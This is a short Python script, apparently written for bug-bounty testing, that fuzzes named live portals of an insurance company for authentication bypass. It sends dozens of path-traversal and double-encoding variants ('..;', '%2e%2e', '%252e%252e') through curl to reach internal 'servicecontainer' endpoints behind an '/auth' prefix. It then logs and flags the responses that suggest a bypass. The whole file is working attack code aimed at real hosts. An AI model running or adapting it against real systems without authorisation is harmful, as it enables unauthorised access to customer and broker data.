#!/usr/bin/env python3
import subprocess,concurrent.futures,json,re,hashlib,urllib.parse
hosts=[('https://mein-portal.baloise.de',None),('https://maklerportal.baloise.de',None),('https://mein-portal.baloise.de:4401','socks5h://127.0.0.1:1090')]
contexts=['auth-servicecontainer','ext-servicecontainer','servicecontainer']
prefixes=[
 '',
 '/auth/..','/auth/..;','/auth/%2e%2e','/auth/%2e%2e;','/auth/%252e%252e','/auth/.%2e','/auth/%2e.',
 '/auth;foo/..','/auth%3bfoo/..','/auth/.;/..','/auth/x/../..','/auth/x/..;/..',
 '/auth/ui/../..','/auth/ui/..;/..','/auth/ui/%2e%2e/%2e%2e','/auth/ui/%252e%252e/%252e%252e',
 '/auth/rest/public/../../..','/auth/rest/public/..;/..;/..','/auth/rest/public/%2e%2e/%2e%2e/%2e%2e',
 '/CSRFT759.js/..','/CSRFT759.js/..;','/error_path/..','/.well-known/acme-challenge/../..',
]
paths=[]
for c in contexts:
 paths.append(f'/{c}/startTask/?task=bugbounty-nonexistent')
 for p in prefixes[1:]: paths.append(f'{p}/{c}/startTask/?task=bugbounty-nonexistent')
# encoded whole separators and absolute weird forms
for c in contexts:
 paths += [f'/auth%2f..%2f{c}/startTask/?task=bugbounty-nonexistent',f'/auth%252f..%252f{c}/startTask/?task=bugbounty-nonexistent',f'/auth%5c..%5c{c}/startTask/?task=bugbounty-nonexistent',f'//{c}/startTask/?task=bugbounty-nonexistent']
paths=list(dict.fromkeys(paths))
def one(item):
 base,proxy,p=item; cmd=['curl','--toadex-no-capture','-sk','--http1.1','--path-as-is','--connect-timeout','3','--max-time','10','-H','X-Bug-Bounty: dwbzn','-D','-','-o','-']
 if proxy:cmd+=['--proxy',proxy]
 cmd += ['--url',base+p]
 try:q=subprocess.run(cmd,capture_output=True,timeout=12)
 except subprocess.TimeoutExpired:return {'base':base,'path':p,'status':'TIMEOUT'}
 raw=q.stdout; ms=list(re.finditer(br'HTTP/\S+\s+(\d{3})[^\r\n]*\r?\n',raw))
 if not ms:return {'base':base,'path':p,'status':'ERR','err':q.stderr.decode(errors='replace')[:100]}
 m=ms[-1]; sep=raw.find(b'\r\n\r\n',m.start()); sl=4
 if sep<0:sep=raw.find(b'\n\n',m.start());sl=2
 h=raw[m.start():sep].decode('latin1','replace');b=raw[sep+sl:]
 loc='';ct=''
 for l in h.splitlines():
  if l.lower().startswith('location:'):loc=l.split(':',1)[1].strip()
  if l.lower().startswith('content-type:'):ct=l.split(':',1)[1].strip()
 return {'base':base,'path':p,'status':m.group(1).decode(),'size':len(b),'loc':loc,'ct':ct,'sha':hashlib.sha256(b).hexdigest()[:12],'preview':b[:80].decode('latin1','replace').replace('\n',' ')}
items=[(b,p,pth) for b,p in hosts for pth in paths]
with concurrent.futures.ThreadPoolExecutor(max_workers=12) as ex: rows=list(ex.map(one,items))
open('work/scratch/next/servicecontainer-bypass.jsonl','w').write('\n'.join(json.dumps(x) for x in rows)+'\n')
from collections import Counter
for base,_ in hosts:
 rr=[x for x in rows if x['base']==base]; print('\n',base,Counter((x['status'],x.get('size'),x.get('sha')) for x in rr))
 for x in rr:
  if x['status'] not in ('303','400','404','500','503','504','TIMEOUT','ERR') or (x['status'] in ('403','404') and x.get('size',0)<500):print('INTERESTING',json.dumps(x))
